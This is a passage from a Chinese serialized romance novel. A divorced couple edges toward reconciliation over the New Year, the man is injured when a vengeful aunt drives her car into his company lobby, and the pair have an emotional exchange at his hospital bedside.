骆亦迟的声音静下去,没接话,几秒钟后,许满听到门把手转动的声音,接着,门开了。 “……” “……” 黑暗中四目相对,骆亦迟顺势钻进来,背着手将门一推,把门关上了。 许满盘腿坐在床上,窗外朦胧的光镀在她的脸上,显得那双责怪意味明显的眼睛亮晶晶的。 “我没让你进来吧?” “你门没锁……” “锁坏了,但这不是你进来的理由。” “……” 骆亦迟哑口无言,紧急搬来自己本要说的话做救兵,“刚才廖延给我打电话拜年,说池柠妈妈从法国回来了,现在跟他们一起过年,等池柠拍摄结束,要把池柠接去法国养胎生产。” 许满隐约能明白骆亦迟跟他坦白的原因,但还是下意识问:“跟我说这些做什么?” “怕你多想。” 她确实无法释怀关于池柠的种种,每次只要听到她和骆亦迟有关的消息,她都无法控制自己不去关注。 骆亦迟的语气诚恳:“你不是介意池柠跟我的关系吗?以后跟我有关的,我都一五一十向你坦白。” 时光无法倒流,已经发生的事情无法改变。 ——想要我原谅你,除非,你从未爱过池柠。 这是许满在湿地公园给他的答案,今天从山上下来,不知怎的就突然想起来了。 自从许满对他态度缓和以后,他心里就一直感到不安,他不知道这种不安感源自哪里,直到想起这句话,才猛然意识到,这种不安源自原罪,他爱过池柠的原罪。 许满早给他判了罪,他这辈子注定得不到许满的彻底原谅,但哪怕不原谅,只要许满愿意和他相处,他就是知足的。 “嗯,好,我知道了,你可以出去了。” 骆亦迟没靠在门板上,一只手背在身后按住门缝,立在那儿纹丝不动。 许满:“还有话要说?” 天空又亮起,一多信号弹似的烟花拖着长长的鸣音升上天空,照亮一大片视野,骆亦迟的目光落在许满坐着的床上,忽的瞥见枕边一样反射着光的玩意儿,眼皮一颤,道:“没事。” “没事还不出去?我要睡了。” 绚光释放极致的光亮,没进夜空只是几秒钟的事,等视野再次变暗,骆亦迟眼神一定,忽地往前走了一步。 许满警觉,身体不由往后倾斜:“你干嘛?” 骆亦迟并不朝她去,而是手臂伸长在她的枕边一捞,将那颗安安稳稳放在枕边的树脂小球捞进了手里。 许满登时反应过来那是什么,踢开被子手脚并用去抢,骆亦迟却把手举高,身体一翻坐在床尾,不给许满够到它的机会,借着忽明忽暗的烟花火光,愣愣得盯着那颗小球看。 看完,又宝贝的放进胸前口袋里。 “还给我!” 许满扑上来,按住他的胸口往里掏,两人一推一挡,骆亦迟怕伤到许满,只敢侧身躲避,但许满抱着必得抢回来的决心,推人的时候半点不含糊。 单人床很窄,只听“咚”的一声,骆亦迟被推倒时,后脑勺结结实实磕在了床侧坚硬的墙壁上,那响声简直跟烟花爆炸声有得一拼。 知道这人得过脑震荡,许满顾不得抢小球了,着急去看,“磕到头了?” 骆亦迟蹙眉闭眼,久违的震荡感差点又回来找他,他捂着脑袋缓缓坐起,把头稍稍垂下,顺势抵在许满手心上。 许满打开灯仔仔细细检查,发现没破皮没肿包,就是有点红了。 骆亦迟嘶嘶的倒抽气,“疼,你给我揉揉。” 起因在许满身上,许满便听话的给他揉起来,小声抱怨道:“给我就是嘛,你挡什么。” “那本就是我的。” “你的?要不要现在把它砸了拿着那根头发去做个DNA检测,看是不是你的?” “……” 骆亦迟被噎得没话说,自从知道是许满拿走了它,他就整日惶恐不安,怕许满一狠心真把它给砸了。 那可是他贴身放着,珍藏了六年多的宝贝,万一许满收回施舍,再次离开他,他还指望靠着这颗小球活下去呢。 许满揉的力道不重不轻,力度正好,骆亦迟闭眼享受着,以她察觉不到的速度,缓缓向她怀中靠近。 然而未等抵达,许满忽地抽走手,掌心摊开在他眼前,“揉好了,小球拿来。” 骆亦迟未曾得逞,坐着不动,装不明白。 许满才不管那么多,直接去他口袋里掏。 骆亦迟捂紧胸口,“你拿走可以,但是得再还我一个,什么都行,衣服,发圈,只要是你的东西,都行。” “还讨价还价了,再给你一个你岂不赚翻了?” 许满抠开骆亦迟挡在胸前的手,等小球到手以后,又开始赶人:“快十二点了,你出去,我要睡觉了。” 骆亦迟眼神执拗瞪着许满,这个连念想都不给他,只施舍给他一栋海市蜃楼的无情女人。 她让他送她回家,关心他的腿伤,还让他留下来过年,各方面都说明已经在接纳他了,可他心里就是惴惴不安的,像搭了一栋缥缈的、落不到实处的海市蜃楼,担惊受怕,患得患失,就怕一个不留神,幻想消失。 他企图从这栋海市蜃楼里找出一个可以让自己落下来的答案。 “为什么一定拿走我的小球?”骆亦迟感到委屈。 许满说话不留余地,“我嫌你变态。” “变态你还留着?” “当然要留着,有它在,能提醒我,你是我的罪人。” 蓦地,骆亦迟侧身,长臂一撑,将许满锁在他的两臂之间,很认真的问:“那罪人今天的表现如何?” “尚可。” 逆着光,骆亦迟看过来的目光晦暗如深水,许满不敢去看,强行移开目光。 骆亦迟捏住许满的下巴,轻轻抬起,迫使她直视自己。 “许满,我说过,我愿意跨过阶级来找你,你看到了吗?” 窗外烟花悄悄绽放,骆亦迟的声音随着爆竹炸开的闷响,响彻在耳边。 今天上午,他跪在先人坟前向他们请求,保佑许满余生顺遂。 他将身段放得足够低,不敢奢望先人庇佑他,只期望先人听见他的祈祷,保佑许满往后余生不管有没有他的陪伴,都能过得顺遂无忧。 “看到了,所以呢?”许满说。 “年前的事情,就不要拖到年后了,许满,我承诺会用一生来爱你,你能把爱再次给我吗?” 窗外烟花爆竹声一阵接一阵,逐渐变得热烈,流逝的时间里,客厅的电视节目上演完一段完整的舞曲,传出主持人字正腔圆的倒计时声。 “三,二,一,新年快乐——” 下巴尖上,骆亦迟指腹微凉。 许满嘴唇微张,强装镇定与他对视。 光被他的身影遮住大半,咫尺之距,她能清楚的看见他轻颤的眼睫和眼底闪烁的躁动不安。 骆亦迟的想法明明白白写在脸上,希冀她可以给他一个想要的答案。 可是,想听的话酝酿在嗓子眼,迟迟不说出口。 大约过了一世纪那么长,骆亦迟祈盼的心渐渐消沉下去,难堪的败下阵来。 他低头,唇边散出一抹轻笑,“算了……” 下巴温度撤去,他落寞的垂下手,缓缓直起身子。 顶灯在他身上投下轮廓,他的眉眼隐入黑暗。 “是我太心急了,你早点休息,新年快乐。” 咔哒,房门关上。 许满坐在床边,眼神呆滞望着紧闭的房门。 电视关掉了,热闹戛然而止,周遭瞬间陷入沉寂。 被拨弄的心没有因此沉静下来。 她爱过一个糟糕的男人,结过一次糟糕的婚,以为早就封心锁爱,从中完美撤离,可实际上呢? 当那个人再次出现,尘封的心还是会再次掀起波澜。 她承认,她还爱着那个人,爱到现在都没有停。 可是吧,她是个胆小鬼,受过一次伤,怕重蹈覆辙,再被忽视,再爱而不得,再成为卑微的一方…… 她怕得很多,在没有得到足够的安全感之前,根本不敢轻易再爱。 第54章 第 54 章 意外先于明天到来。…… 春节后第一个工作日, 凌晨寒气未退,骆亦迟摸黑出发回连城了。 许满清早起床, 发现沙发上那床被子叠得整整齐齐,本应该睡在上面的人不见了踪影。 噢,对了,昨晚吃饭时,骆亦迟说过他今早要走。 没说几点,许满以为至少会是吃过早饭后, 没想到夜里就悄悄走了,连句再见都没说。 半上午,许晋文发现骆亦迟不见了,还问起, “满儿,骆……他走啦?” “嗯, 走啦。” 许满正在收拾过节收到的礼品, 家里有许晋文这个老人在, 过年免不了会收礼, 前几天陆陆续续回了一些, 现在还剩几家的礼没回, 这几天得回过去。 过年这几天暖和, 老天爷颇给人面子, 天天都是大太阳。 阳光暖烘烘的照在人身上, 许晋文坐在院子里晒太阳, 看许满进进出出的忙活。 “你们, 吵架啦?” “没有。” “那他,为什么,走?” “春节假过完了, 他得上班呢。” 章隆的案子要开庭,就这几天,骆亦迟现在回去,八成还得忙这桩事。 “你,不走?”许晋文问。 许满说:“快了,我到十五了。” 亲戚少的好处这就体现出来了,礼品几分钟就整理完了。 许满将最后一箱子礼做上标记放进屋,搬来小板凳,坐着跟许晋文一起晒太阳。 “爸,骆亦迟在连城给你找了一家评价很高的私人疗养院,你想去吗?” “什么私人,疗养院?” 许满解释:“里面的医生都是一对一的,还经常有专家去走访,环境比你现在住的康复医院好,主要是我在连城上班,往后去看你的时间也会比较多。” 许晋文想了想,问:“多?一个月,几次啊?” “两次?”许满试探着说,“不行的话就三次?” 能带研究生之后,她的课余时间就比较少了,有时候周末都要被挤占,三次是按照目前的工作安排来说,最大的可能了。 才三次,许晋文心里有数了,撇撇嘴,“我还是,跟老赵,住吧,我俩搭伴儿,挺好。” 人到老年,最不想要的就是孤独。 他们老许家不算人丁兴旺,早年丧妻之后,为了养活这个家,许晋文一直奔走在打工之中。 一场中暑,他积攒了半辈子的打工收入全都交代在了里面。 人生就这样分成了简单的前后两部分,前半辈子奔波,后半辈子灌药,而贯穿其中的共同点,只有一个词——孤独。 条件好的疗养院又如何?去了还不是一个人过?许满不知道陌生的环境对一个老年人来说有多恐怖,还不能天天陪他,做不到天天陪他,那还不如不换。他喜欢康复医院,那里的医生护士他都熟悉,有一大半能叫上名字来,而且还有知根知底的老赵在,舒心程度是其他地方比不了的。 “是你的,意思,还是,他的意思?” “他的意思,我猜你不会去,已经替你回绝了,这不突然想起来了,觉得还是得征求征求你的意见,你要是想去,我再告诉他,让他找人安排。” “哦……”许晋文拖长声音,神情若有所思。 许满看他,“怎么了?” “他这人,不吭声,做事,还行。”许晋文中肯道。 许满疑惑:“哟,爸你不讨厌他啦?” “讨厌,归讨厌。他以前,伤过你,所以,讨厌。但是……”许晋文忽地语重心长,“满儿,我现在,这样,还有,几年活头?以后,我若死了,你咋办哟?” “怎么好端端说起生死来了?”许满故作轻松劝他,“爸大过年的咱不说晦气话,我现在赚钱了,能养你养到长命百岁。” 许晋文五官皱到一起,他不是在说玩笑话,怕许满没懂他的意思,很认真道,“我不是,好父亲,父爱上,欠缺你,老了,还拖累你,什么都,帮不到你。” “我又不嫌你拖累,你管好自己就行,其他的别多想。”许满不想听这些伤感的话,作势站起来进屋。 “满儿。”许晋文叫住她,望着她的背影,顿了顿,还是用那副慢吞吞的口吻说,“一个人,太孤单,有合适的,就,一起过吧。” 和谁一起过都行,只要是她自己中意的。 作为父亲,他亏欠许满太多,跟着奶奶长大的许满没有感受过母爱,连父爱,得到的都很少。 许满懂事,有主见,除了大学毕业时未婚先孕,让许晋文狠狠生了一场气,其他时间,她都是街坊邻居口中不断称赞的,别人家的孩子。 这个“别人家的孩子”,不论学业工作还是生活,都没让家人操心过。 许晋文没给过她任何帮助,连一句有用的建议都不曾,却在人生半途时,突然倒在许满面前,害得许满连口喘气的机会都没有,瘦小身躯拖起他这个苟延残喘的病人,默默走到如今。 他不是个合格的父亲,却生养了一个合格的女儿。 许满的孝心他全看在眼里,他也后悔给与许满的关爱太少,等醒悟过来时,这副年老病弱的残躯,能给许满的,就只剩下了拖累。 他没本事让许满享福,可他若死了,许满就是一个人了。 一个人,太孤单。 连个说话的伴儿都没有,太苦。 他希望趁着还苟活在世的时候,把许满交到一个值得托付的人手上,那样,他便可以安心离开了. 开学日子在元宵节过后。 按照许晋文要回康复医院的要求,许满返校时,顺路把他送回了康复医院。 那天骆亦迟来接她一起去的,相较回家前的抵死不从,许晋文这次顺从得不像话,十分主动的坐进了车里不说,还主动跟骆亦迟聊起了天。 寒假过完,湿地公园那边的课题项目进度也得抓紧跟进,许满提前跟庄克线上沟通了一些要点,正好今天有空,便约他一起聊聊细节。 生态重建什么的,涉及专业领域,骆亦迟对其的了解就比较浅显了,基本都浮于表面,仅限于跟人聊起来时能吹两把的程度。 他给不出许满建设性的深度意见,但作为背后金主,听过许满的想法,还是给了一定程度的鼓励,“听起来很有实施性。” 许满思考着说:“是吗?虽然现在生态重建大多依赖人工建设,对土地自然恢复的尺度要求也没那么高,但过程废人废力,真的好实施吗?会不会太花钱了?” “花钱?你还想着给我省钱?” 许满也不知道戳中了骆亦迟,看他笑得柔和,忍不住想翻白眼,“想什么呢?这个项目注定省不下来钱,说到底是我负责的第一个项目,我担心一下花费不是很正常吗?” 骆亦迟搓搓下巴:“你放心大胆做就是了,钱方面不用操心,就算骆氏倒闭,我一分私房钱不留,卖肾卖血,也要完保你把课题做下来。” 和庄克约定的地点在湿地公园,下了高速,半道上突然接到杜曼玲的电话。 车内蓝牙一响,杜曼玲的名字直接从车载显示屏上跳出来,骆亦迟眉头几不可察的一皱,下意识看向许满,却见许满头偏向窗外,看见了权当没看见。 犹豫半天,骆亦迟接了。 杜曼玲焦急的声音在车内响起来,“小迟你在公司吗?” “没在。”骆亦迟语气没有起伏的说,“怎么了?” 杜曼玲吞吞吐吐道,“是你表姨,她去公司找你了。” 骆亦迟神情一凛,车速猛一下提了十码,得亏他经过几年道德磨炼,情绪足够稳定,没当着许满的面发起火来,“不是让你不要和她来往?你又没听是不是?” 杜曼玲很纠结,“她和我打小一起长大,我哪儿能不管她?你表姨婚姻不幸,身边就章隆那么一个儿子,你让章隆判了十年,她以后可怎么过,怎么抬得起头来?” “章隆自己犯的罪,怎么能说是我判的?而且,表姨怎么过,怎么抬得起头来,又关我什么事?” “到底是你表姨,你说话做事怎么可以那么冷漠?” “当初他儿子死命捞钱坑害骆氏的时候,你怎么不说他冷漠?” “小迟……” “妈,你怎么越老越糊涂了,拜托你拎得清一点,有些人该远离就趁早远离,别天天结交一些不值当的人。” 表姨?许满太久没听过这个称呼,都有些陌生了,想了好一会儿,才将表姨那张脸从脑海深处回忆起来。 骆亦迟又说了两句有的没的,把杜曼玲说得无话可说,等挂断电话,许满好奇的问,“你……表姨她儿子怎么了?” “洗钱,行贿,挪用公款,蹲监狱了。” 过程和结果可以用一句话总结,但细节,想必就没那么简单了。 许满对骆亦迟表姨一家没有好印象,表姨这人,惯会假热情,一天到晚粘在杜曼玲身后巴结,哈巴狗一样惹人讨厌;章隆更是见都没见过,偶尔听骆亦迟提起过几嘴,也是没有好印象。 倒是犯罪了,让许满略感诧异,还想打听两句,旁边骆亦迟又拨通了赵靖闻的电话。 “我妈说我表姨去公司了,你通知保安拦一下,注意别妨碍其他人正常工作。” 交代完,车子往右边路口一拐,驶进了湿地公园。 庄克早早煮好茶等在那里,因为提前沟通过,所以整体聊下来很轻松,几杯茶下去,就敲定了下一步的工作方向。 沟通结束,庄克提议一起去吃个饭,骆亦迟婉拒了。 他今天特意把时间空出来,就为了跟许满待在一起,好不容易和许满处到现在的程度,他恨不得抓住分分秒秒的机会去表现,争取早日让许满敞开心怀接纳他,所以压根不会给外人打扰他们二人世界的机会。 骆亦迟计划得好好的,先把许满送到家放了行李,再带她去吃个法餐,今天出发去流云湾之前他就定好了位子,要是许满不想去呢,那在家做饭也是可以的,家里温馨安静,不比外面差,运气好的话,吃完饭还能在许满家里过个夜,让关系更进一步! 不管是planA,还是planB,都简直完美,骆亦迟心里哼着甜蜜的小调,幻想着接下来的场景,驱车悠闲驰骋在柏油马路上。 然而美好的期待终会被打破,一曲调子还没哼完,车厢里再次响起了电话音。 骆亦迟不悦的啧了啧嘴,接起电话语气就不太好,“又有什么事?” 赵靖闻说,“产品部紧急送来一份需要签字的文件。” “明天吧。”骆亦迟不想计划被破坏。 赵靖闻一瞬间变得严肃:“骆总你知道的,合同迟签一天,财务那边就会晚打款一天,开发进度就会受影响拖延一天,产品就会比预期晚上市一天,我们晚一天,很可能竞品就会比我们提前一天,骆总,我们这是要输在起跑线上啊。” 骆亦迟“嘶”了一口长气,“以前怎么不知道你这么会算账?” 许满正拿着一个本子,在手写记录和庄克聊起的重点,闻言噗嗤一笑。 她都能想象到此时电话对面,斯文儒雅的赵靖闻讲这串话时的表情,肯定一本正经,便提议骆亦迟,“回学校顺路不。” “顺路。” “那就拐一趟呗,又不费劲。” “……”骆亦迟应下来,顺嘴问了一句:“我表姨走了吗?” 赵靖闻:“走了,保安没费什么劲儿就把她赶走了。” “嗯,那就好。” 车子变道,往骆氏公司驶去。 说起来挺难相信,许满当了骆家一年的儿媳,知道骆氏在哪条马路上,也曾几次坐公交经过,但骆氏的大楼,却是一次都没进去过。 可能当时觉得,除了骆亦迟这个人是她法律上的配偶,跟她存在那么一点密不可分的关系外,骆氏的一切都跟她隔着一层看不见摸不着的隔阂,都不是她能踏足的地方。 所以当车子停在高耸入云的骆氏大楼前,许满还是生出了一种,这地方还是能远离就远离的本能。 “去我办公室坐坐吧,这个时间点,办公室里应该正在发下午茶,我让赵靖闻给你拿一份。”骆亦迟解开安全带,对许满说。 “签合同要很久吗?” “不久,很快。” “那我在车里等你吧。” 可能是社恐发作了,反正许满不太想去骆亦迟公司里。 对于许满不喜欢的事,骆亦迟从不强求,从车上下来,走了两步又折回来,敲敲许满那边的车窗:“下午茶也不要吗?今天的下午茶应该是小蛋糕,你喜欢什么口味的,草莓的可以吗?我下来时带给你。” 听骆亦迟语气,似乎是一定要让许满吃点什么才会满足,但许满现在不想吃,便摇下车窗,摇头拒绝道,“不用,我不太想吃甜的。” “好吧……”骆亦迟眼里闪过一抹失落,但很快又用笑容掩饰过去,“我签好合同马上下来。” 应该提前通知赵靖闻让他等在门口的,这样就可以省去上楼的时间,就不用和许满分开。 这样想着,骆亦迟转身往公司大厅里去。 许满望了骆亦迟转身后的背影一眼,合上本子放进包里,靠在座位上伸了个懒腰。 车子熄火之后稍有些闷,她想下车透透气,于是打开车门。 就在这时,车窗外闪过一抹疾驰的黑影,朝着骆氏公司大厅的玻璃门直直的疾冲过去。 许满还没反应过来,耳边已经炸开一道猛烈撞击的声响。 轰的一声,她的身躯猛地一震,心脏骤然停跳,脑子在一瞬间抽离,变得空白。 等反应过来看到了什么,骆亦迟去往的那个方向——骆氏公司的大厅正门口,已经有人急匆匆围过去。 一片混乱中,多年未见的表姨被人从一辆车头扭曲的黑色小车里拖出来,她额头上淌着血,口中不停哭嚎,“都是你们逼我的!逼我的……” 围观人群越聚越多,将混乱中心遮挡得严严实实。 许满愣在原地,目光仓惶的寻找骆亦迟的身影。 他人呢?怎么没看到他? 他进公司了没?是不是已经上楼了? 还是说…… 忽然间,一个可怕的念头当头砸下来,将空白的脑子狠狠占据。 为了证实这个猜想,她拔腿就往公司大厅里去。 然而不知为何,脚步虚晃得厉害,明明只有十来米的距离,此时走起来却备感遥远。 耳边嗡嗡的,听不清人们在议论什么,许满像是一个被人为操控,走路没有章法的机器人,跌跌撞撞的好不容易来到人群外围,僵硬的把挡在前面的人推开,却见满地碎玻璃中,刚刚说要给他拿小蛋糕的那个男人,正双眼紧闭躺在血泊里,一动不动。 许满双眼被那刺眼的血红色弄得失去了焦距,捂住嘴,不敢相信眼前发生的一切。 “骆……骆亦迟……” “骆亦迟!” 她的身体不受控制的颤抖,声音哑得不像话,一声一声叫着骆亦迟的名字,不顾一切往前扑。 保安拦住她,她扑倒在保安的胳膊上,豆大的泪珠一颗颗从眼睛里滚落下来,双手抠着保安的制服衣袖,才勉强撑着,没让自己滑倒在地。 “天呐,是骆总!” “什么仇什么怨呐……” “那个肇事司机呢,看住了别让她跑,这是蓄意谋杀!” “叫救护车了没?” 许满无法正常思考,周围全是喧闹的议论声,她听不进去一丝一毫,包着泪的双眼紧紧盯着躺在那里的人,脑子里只剩下一个想法——骆亦迟流了这么多血,他会死吗? 即使是这个人第一次出车祸时,她都没有像现在这样恐惧无助,现在,这一幕真真切切在眼前发生,她才惊恐的发现,她好像无法接受这个糟糕男人从此从她的生命中消失。 她不要骆亦迟死,她从没想过骆亦迟会死,她还没做好准备,没把彻底原谅骆亦迟,骆亦迟怎么能死呢? 他不要她的原谅了吗? 他怎么能不要? 他不要,她给谁呀? 泪水模糊了双眼,将整个面容全都浇湿,她奋不顾身想去唤醒骆亦迟,可是保安的力量太大,拦着她,不停的将她往大厅的休息区里拖。 直到赵靖闻出现,才将她从保安怀里接了过去。 她被拽着上了救护车,警报声呼啸在头顶,她神情恍惚,望着推床上不见血色的男人,握住他的手,颤抖的轻抚他脸上被玻璃划到的细小伤口,絮絮叨叨的小声说:“你给我活着,听到了吗?骆亦迟。” “你要是活不下来,这辈子,我都不会原谅你了。” “我会爱上别人,还会带着他去你坟前炫耀,当着你的面和他牵手接吻。” “你要是不想看见这样的结果,你就活下来好吗?” 许满乱七八糟的说着,床上的人没有回应,那些话,便仿佛都说给了一尊没有生气的石像听。 她又哭起来,一想到骆亦迟可能会死,她就无法抑制不去哭泣,不去想最坏的那个可能。 天上的人不是留下中香告诉她,他们认可了他吗? 既然认可了,那么,能不能保佑他,给他一线生机,帮她留下他啊? 她不别扭了,不拧巴了。 只要他活着,过往的一切她都可以不去计较,都可以说服自己放下。 只要……骆亦迟他活着。 第55章 第 55 章 爱哭鬼。 移动床车轮轰隆隆滚过地面, 手术室亮起红灯。 许满沉默的等在外面,一遍遍抬头, 不停望向那紧闭的手术室门。 时间化身凌迟刀,每分每秒,都成了折磨人的煎熬,而牌子上的红灯,成了这等待过程中唯一的希望。 她期盼那牌子上的光芒早点熄灭,可又怕熄灭了, 等来的会是最不想听到的那个结果。 骆彦怀和杜曼玲先后赶到医院,顾不上诧异许满为什么也在这里,围上赵靖闻急切的询问最新情况。 几句交谈之后,杜曼玲哭声传来, 痛悔的哭嚎说,早知道就该拦住表妹的。 事到如今, 再多的后悔都于事无补。 在这样的哭声里, 最坏的那个可能被无端放大, 盘亘在人心头上, 凝结成一片厚重的乌云, 沉沉的往下压。 许满不想听见那哭声, 总觉得那声音像是在预示什么, 便往远处走了些, 走到听不见任何烦人的动静, 才找了个地方坐下来。 过往的记忆在脑海里闪现, 她想起上一次在手术室前这样等待, 也是这样的无助,这样的濒临崩溃。 许晋文这个老人都撑下来了,骆亦迟一定也会撑下来吧? 他还那么年轻, 生命还有无限可能,几次意外都健健康康的活了下来,没有理由这次撑不过去吧? 可是万一呢?万一他真的撑不过去死了呢? 许满控制不住不去想这个最坏的可能,闭上眼,脑子里都是骆亦迟倒在血泊中的画面。 她心绪烦乱的捂住脸,默默向天祈求,祈求骆亦迟一定活下去,她还有很多话没对他说,那些话,她只说给活人听,他要是想听,那就活下来。 太阳落下,夜幕升起,医院里行人渐少,慢慢变得空旷。 许满不知道独自在长椅上坐了多久,忽地旁边一沉,坐下来一个人。 她捂着脸,没去看对方是谁,对方却主动跟她交谈起来。 “早听小迟说,你回连城了。” 许满迟钝的侧过脸,迎上骆彦怀和蔼的面容。 六七年没见,骆彦怀也变老了,但皮肤依旧是属于富人该有的白皙,不像许晋文,总是黑黢黢的。 “爸”许满生涩的称呼他。 骆彦怀说:“上次一别,还是在婷婷的升学宴上,快七年没见了吧。” 记忆太久远,许满也回忆不起上次和骆彦怀见面是什么时候的事了。 “小迟说,你读了博士,现在在连大当老师。” “嗯。” “挺好的,真为你高兴。” 许满搓了搓膝盖,骆亦迟还躺在里面,她的心口被堵着,没兴致跟人聊天,便空洞的道了一声谢。 骆彦怀从赵靖闻那里听了许满的反应,来找她本就是为了宽慰她,顿了顿,和声说:“别担心,小迟会没事的。” 他说得沉稳笃定,许满苦苦支撑的信念仿佛一下子找到了支柱,失去力气垮了下来,眼睛湿润,汩汩的冒出了泪花。 “他真的会没事吗?”她颤声说。 “你要相信他。” “相信他” 好半天,许满才又发出微弱的声音:“表姨撞过去时那么狠他流了好多血” “上天会眷顾有信念活下去的人,他还有未完成的事,所以他一定会没事的。” 许满不像骆彦怀那样乐观,这几个小时里,过往听到的看过的车祸新闻在脑子里不断上演,就怕哪一种对应到骆亦迟身上。 骆彦怀还是那样笃定,“相信我,沈诚漓已经跟他那些老专家同学打过招呼了,他们都在等着,我不会让他有事的。” 话音刚落没一会儿,赵靖闻从不远处跑过来,人还未到跟前,就一口气不带喘的宣布道:“手术手术结束了,骆总身体里的碎玻璃都清理干净了,人人也没大事!” 许满身子一颤,心里将这句话重复了一遍,劫后余生的喜悦才爬上身心。 心口缀着的那颗石头重重落地,紧绷的身体逐渐放松下来,许满跟着喃喃道,“没事,太好了,送没事” 骆彦怀放松一笑:“你看,我说了吧,他会没事的。” 赵靖闻继续道:“现在推进病房了,医生说,等麻醉醒来再看看。” 骆彦怀站起身往病房去,没听见身后有人跟上,一回头,见许满没动,“你不去看看小迟吗?” “去,我去。”许满抬皮泛红的眼皮,后知后觉的拔腿跟上. 心电监护仪发出有规律的滴滴声,病床上沉眠的人难耐的蹙了蹙眉。 许满端着水壶进来,见床边围了一圈人,有医生有护士,还有骆亦迟的父母。 出事了? 心一瞬间紧张起来,许满放下水壶来到床边,正好听见医生宣布:“醒来时间比预计时间早了半个小时,这是好事,这几天身体还会有不适,注意多观察,有问题及时呼叫我们。” 原来是好事啊,许满松了一口气,回去继续烧水。 杜曼玲一上午哀哀啼啼个不停,现在声音还大了点:“小迟你终于醒了,都是妈妈不好,妈妈没听你的话,给你惹了这么大的事儿。” 骆彦怀斥责:“早让你离她远一点,你不听,幸亏大楼的旋转门给了缓冲,她没看清小迟的具体位置,给撞偏了,小迟这次死里逃生,是小迟命大。” 章隆的案子一审判决下来,章隆不服要上诉,表姨来找骆亦迟想争取一个调节机会,没想到还没进门,就被保安拦住了。 自从章隆被抓后,表姨请求谅解屡次碰壁,早就对骆亦迟心存怨恨,据警察局那边的人说,她车里还藏了一把刀,知道调解机会渺茫,所以来时没报什么希望,被赶走后就在路边守株待兔等人出现,这才有了后面的事。 “把事情交给警察,该怎么办就怎么办吧。”骆彦怀拍板道。 水壶呜呜烧开,许满分别给每人倒了一杯水送过来。 骆亦迟这才看见她在,心情一激动,想要坐起,麻药过后的疼痛让他眉头一皱,差点疼出声。 没有什么比一睁眼就看见想念的人来得惊喜,骆亦迟被骆彦怀按住,身体动不了,眼珠子便转了转,微微把头偏向许满,一眨不眨盯着她,似是有话要说。 昨晚到现在,大家都没合眼。 年轻人还好,骆彦怀和杜曼玲却是有些撑不住。 “你们去歇会儿吧。”许满说。 床上的人这幅样子,过往再多恩怨,都可以暂时往后放放。 骆彦怀点头叫上杜曼玲:“小迟现在饮食得注意,你跟我一起去采买点他能吃的,我们回家做了再送来。” 杜曼玲很没眼色的拒绝:“你自己去吧,我想在这儿陪陪儿子。” 骆彦怀二话不说把她拽起来,“我记得你之前说过,有家生鲜会员店的食材不错,你给我指路,我开车去买来。” 杜曼玲推诿了几句,还想再留,被骆彦怀连说带哄强硬拉走了。 病房门关上,骆亦迟朝许满抬起手,虚弱的叫她过来:“许满” 迟疑了半秒钟,许满搭上那只手,借着这个姿势坐下来,还靠近了一点。 骆亦迟反手扣住她手心,干涩的嘴唇微启,哑声开口:“我没死。” 许满不明白他的意思,“嗯,我看到了。” 天知道他从这场事故里活下来有多不容易,在救护车上听到许满见他,以为会醒来,听她说了好久的话,可不知怎的就是醒不来。 “我都听到了。” “听到什么?” 骆亦迟看向许满的眼神专注:“在救护车上,你说,我要是醒不过来,你就会爱上别人。” 他握住许满的手,固执的说,“你不要爱别人。” 许满一怔,眼皮微垂,一滴泪情不自禁掉落下来,掉落在骆亦迟的手背上,烫得他心口一疼。 “怎么哭了?” 他艰难抬起手,却并不松开手中扣着的那只,碰到那层薄薄的眼皮,用食指指节轻轻抚掉这令人心酸的眼泪。 “我真怕你死了。”许满垂眼,一晚上过去了,她还是后怕,“你活着,我高兴,所以哭了。” “你想让我活,那我就活着。” 许满吸了吸鼻子,“嗯,好好活着。” 听着她抽搭搭的声音,骆亦迟的心也跟着抽疼起来,拉着她的手贴近胸前,让她感受到自己搏动的心跳——他为她而活了下来,心脏便因她而跳动,“对不起,让你担心了” 许满抹掉眼泪,“不想让我担心,就快点好起来。” “嗯。” 骆亦迟放松躺在床上,心里抑制不住的狂喜。 许满在救护车上的表现像是打进他身体里的一剂高强度兴奋剂,他努力了这么久,还以为这辈子都不会把许满的心捂热了,没想到背地里她早已悄悄融化。 这对他来说简直天降惊喜。 乘胜追击,他像个求抱的孩子一样说:“我能抱抱你吗?” 许满现在心软的不行,如果骆亦迟说想亲她,她应该也会毫不犹豫的凑过去。 于是下一秒,她便弯着身子,慢慢张床上的人贴近,当然她注意着小心避开了输液管,保持了一点适当的,不会碰到骆亦迟身上那些细小伤口的距离,轻轻将脸埋在了他的颈窝里。 背上传来压力,骆亦迟抬起双臂,将她用力压向自己。 许满惊叫一声,“你做什么,不怕我压到你!”双臂急忙撑在骆亦迟身体两侧,试图从他身上爬起来。 骆亦迟松了些力道,给两人之间留出些空隙,却并不放开她。 “好不容易活下来,我想抱抱你,确认一下这是真的,不是做梦。”他善意提醒,“你才说的,我要是醒了,你就不去爱别人。不爱别人,是不是意味着只能爱我?” 许满咬紧下嘴唇,那只是情急之下不过脑子的话,不想此时被当成了拿捏她的把柄。 她从那虚拢的怀里退出来,坐回椅子里,低头看着洁白的床单,不想认账了,“等你好了再说吧。” 期望落空,骆亦迟的心骤然下沉,急道:“你说什么?你现在不认,到时候是不是又要拒绝我?” 许满认真的摇头,“我不知道。” 未来的事,谁都不敢保证,就像她昨天无论如何都想不到,骆亦迟会差点在她眼前死去一样。 她有些恍惚,不确定这个决定该不该贸然做下,便想到什么说什么,“我这个人亲情缘薄,没出去时死了爷爷,刚学会说话,就死了妈妈,后来又是奶奶,怀过两次孕,还因为各种意想不到的原因流产,活到现在身边只留了一个爸爸,还是你背地里悄悄帮我,他才活下来的。” 说到孩子,骆亦迟心头一紧,这个重逢以来刻意回避的话题,没想到还是被许满提起来了。 许满:“昨天你差点死去,我就想,我这个人可能注定孤苦,任何和我掺杂维系的亲情,都会因为各种各样的原因提前逝去,我讨厌孤单,不想一个人,可这似乎就是我的命。” 骆亦迟听得心疼,有些急了,口不择言道,“你怎么会注定孤苦呢?你又不克谁?你现在不是还有爸爸在?你多旺我啊,你看,我因为你活了下来,你的命运早就在改变,你没有发现吗?” 许满纠结:“我可是” 骆亦迟打断她,一口气说道:“没什么可是的,你如果是怕我死,那我就努力活长一点,我学我爸,也请个私人医生,让他看着我,把我的命养长一点,一定保证不让我死在你前头,不让你孤苦一人,好不好?” “你要是不信任我,那我们就再生个孩子,我死后让他陪你,你不想要孩子也行,我去结扎,保证没有生育后患。” 